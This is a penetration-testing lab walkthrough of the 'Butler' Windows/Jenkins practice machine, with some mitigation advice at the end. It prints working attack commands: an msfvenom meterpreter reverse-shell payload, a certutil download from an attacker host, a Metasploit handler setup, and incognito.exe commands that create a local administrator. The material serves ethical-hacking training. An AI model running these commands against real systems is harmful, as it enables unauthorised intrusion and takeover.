Security Assessment 001: Windows 10 Endpoint

Summary

• Conducted a full internal penetration test of a Windows 10 endpoint following NIST SP 800-115 and the OWASP Testing Guide.

• Utilised Nmap, Nessus, Metasploit, crackmapexec, Netcat, and manual review techniques to identify and exploit vulnerabilities.

• Discovered 9 major findings, including weak password policies, token impersonation, and missing Microsoft security patches, several of which were Critical (CVSS 9.0–10.0).

• Successfully achieved NT AUTHORITY\SYSTEM access by chaining multiple exploits (weak credentials, Jenkins misconfiguration, token impersonation).

• Delivered a professional security assessment report with remediation steps aligned to NIST SP 800-53 controls, CIS benchmarks, and MITRE ATT&CK TTPs.

Introduction

It has been a while since I posted any articles or walkthroughs, but I decided to revisit the TCM Practical Network Penetration Tester (PNPT) course machines and brush up on my skills and knowledge.

The box, Butler, is available via the course, but it was also supposedly available on the VulnHub website; I have not been able to find it there. You can download this box and all other Practical Ethical Hacker capstone boxes from TCM’s Google Drive (link here). I recommend checking out his YouTube playlist to get a feel of the TCM PNPT course.

I pawned this box as part of the course, but wanted to find an alternative path to the NT SYSTEM.

Stage One: Enumeration

I usually start with a ‘quick and dirty’ Nmap scan, prioritising speed (identify as many open ports) over stealth: nmap -T4 -p- -PN —min-rate 1000 <target_ip>. Once done, I proceed with an aggressive scan to gather detailed information on each port and decide which enumeration path and tool to use.

Based on the results, we can safely conclude that the box runs a Windows machine, and three open ports appear promising - 139,445 (SMB) and 8080 (HTTP Jetty web server). SMB is usually a quick win for Windows machines, but for this particular box, enumeration with nmblookup, enum4linux, Nmap SMB scripts, and crackmapexec yielded no valuable leads.

The only viable path is the HTTP port — a web server. Accessing the IP address reveals that a Jenkins server is running, and I opted to proceed with FFUF for directory fuzzing. The robots.txt file contained nothing interesting, and the login directory is the default loading page. The ‘oops’ is the generic Jenkins error page; the only helpful information provided is the Jenkin version.

During my initial attempt at this box, I spent quite a bit of time reviewing searchsploit and online resources for a way to breach Jenkins 2.289.3 and Jetty; the exploits I came across required credentials.

So let’s look for credentials; my attempt to use Hydra was unsuccessful, possibly because of the way I executed the command, so I used Burp Suite > Intruder and Cluster Bomb to perform a brute-force dictionary attack.

Boom! I now have credentials - Jenkins:jenkins, and can access the Jenkins app for further reconnaissance.

Stage Two: Exploit

Fortunately, there is an easy way to get shell access via Jenkins using Groovy Script (Exploiting Jenkins or frohoff Groovy Reverse Shell) and Netcat.

The Bulter account is low-level but allows further system enumeration to elevate privileges. I used four approaches to evaluate vulnerabilities in the Butler box:

1. Manual

2. WinPeas

3. Windows Exploit Suggester

4. Metasploit Post Exploit suggester

The Bulter account is low-level but allows further system enumeration to elevate privileges. I used four approaches to evaluate vulnerabilities in the Butler box:

1. Manual

2. WinPeas

3. Windows Exploit Suggester

4. Metasploit Post Exploit Suggester

Manual Enumeration

During manual enumeration, the most obvious weakness was the privileges assigned to the Butler account, specifically the SeImpersonationPrivilege. You can exploit this vulnerability using FSecureLABS incognito.exe and follow the steps on Juggernaut Pentesting Academy’s Lateral Movement - Token Impersonation page.

Tip: If you find port 3389 Remote Desktop Protocol (RDP) open, another quick win would be to use incognito.exe to create an account and associate it with the local administrator group using the following commands via the Windows shell:

• incognito.exe add_user admin_name admin_password

• incognito.exe add_localgroup_user Administrators admin_name

WinPEAS Enumeration

The most apparent privilege escalation path identified by WinPEAS is the unquoted service path for the WiseCleaner executable. It is possible to use msfvenom to generate a malicious payload placed in the parent directory to elevate privileges.

After transferring and relocating the malicious payload (see Stage Three), execute the following commands to restart the WiseCare server and elevate privileges:

• Establish a listening Netcat session: nc -nvlp <payload port>

• Stop Wise Boot Assistant: sc stop WiseBootAssistant

• Query to confirm service is down: sc query WiseBootAssistant

• Start Wise Boot Assistant: sc start WiseBootAssistant

By following the above sequence of commands, you will have an elevated Netcat shell on the target.

Windows & Metasploit Exploit Suggester

This Python script identified the following missing patches and potential privilege elevation paths - MS15-097, MS15-102, MS16-007, MS16-014, MS16-032, MS16-056, MS16-063, MS16-074, MS16-075, MS16-098, MS16-112, MS16-129, MS16-132, and MS16-135.

I did not review all the above vulnerabilities and their exploits, but I believe the most viable would be the MS16-032 and MS16-075; the Metasploit post-recon module - post/mutli/recon/local_exploit_suggster also suggested these vulnerabilities. In addition, Metasploit also identified the exploits/windows/local/bits_ntlm_token_impersonation exploit to steal a SYSTEM token from a Windows Remote Management (WinRM) server.

Stage Three: Privilege Escalation

After a decent post-recon enumeration, I found several potential privilege elevation paths for the Butler system. However, while reviewing my TCM PNPT notes, I came across the Metasploit getsystem; a script that uses various techniques to get, as the name implies, SYSTEM-level privileges.

To execute getsystem we must migrate from a simple Windows shell via Groovy Script and Netcat to a meterpreter shell. Here are the steps I followed:

1. Generate a payload: msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST=<attacker_ip> LPORT=5446 -o mshell.exe

2. Transfer the payload:

   1. 1. Launch a temporary HTTP server on your attacker machine: python3 -m http.server 5446

      2. Download the payload onto the target: certutil -urlcache -split -f http://<attacker_ip>:5446/mshell.exe mshell.exe

3. On the attacker machine, launch and configure Metasploit to accept the payload reverse shell:

   1. 1. use exploit/multi/handler

      2. set LHOST <attacker_ip>

      3. set LPORT 5446

      4. set payload windows/meterpreter/reverse_tcp

      5. run

4. Return to the victim machine and execute the payload: start mshell.exe

In my case, I was unsuccessful the first time due to a mistake when generating the payload, but the second time was the charm, and I had a meterpreter shell.

The Metasploit getsystem is by far the easiest of all privilege elevation paths for this box, but it should be used very carefully in real-world engagements. Fortunately, the script was quick, and I had full system privileges via Named Pipe Impersonation (In Memory/Admin).

Assuming your clients are less technical, they believe that accessing a command line and dumping encrypted credentials is not a system compromise. A solution would be to provide a screenshot of a remote desktop session.

Since I have full system access, I can make use of the Metasploit post-exploitation module windows/manage/enable_rdp to perform the following:

• Enable RDP if it is disabled,

• Start the RDP service, and

• Open an RDP port in the Windows firewall

Once executed, I can use xfreerdp or rdesktop and log into the machine remotely using the created admin2 account.

Mitigation Measures

The mitigation measures are straightforward for this particular box:

1. Ensure all users use complex passwords for all accounts and platforms; implementing a password policy, password filters, and Privilege Access Management (PAM) solutions would greatly assist.

2. Implement multi-factor authentication (MFA) measures where possible.

3. Ensure all software and operating systems are kept up to date and apply security patches as soon as possible.

4. Review the security health of systems regularly using tools such as WinPEAS to find and resolve security weaknesses as part of the organization’s security hardening practices.

Jenkins Groovy Script Console is a serious liability within the particular box. While it may be possible to completely disable it, assuming Jenkins is being used in a production setting, disabling this feature will negatively impact teams.

I also compiled a Security Assessment Findings Report as part of this blog to practice writing reports for real-world engagements.

Conclusion

I believe this box has an Easy difficulty rating. There is a singular path to get initial access to the system and several paths to elevate privileges. It is still not clear if the Butler is responsible for these weaknesses.

Administrators may use simple passwords during application setup, as in the case of Jenkins for this box. This is especially true when organisations or departments do not have a suitable way to store and manage credentials, and documentation is nonexistent. As such, IT teams will use simple credentials that are easy to remember and pass on to other team members.

It was fascinating returning to this box and discovering additional vulnerabilities, which further improved my understanding of the various tools available to an ethical hacker.

If I missed a particular vulnerability, exploit, or enumeration, or if you have suggestions on improving the assessment report, feel free to reach out on LinkedIn. Constructive feedback is always welcome.

References

Cover image: Generated with Canva AI

Links to support articles and tools are included within the article.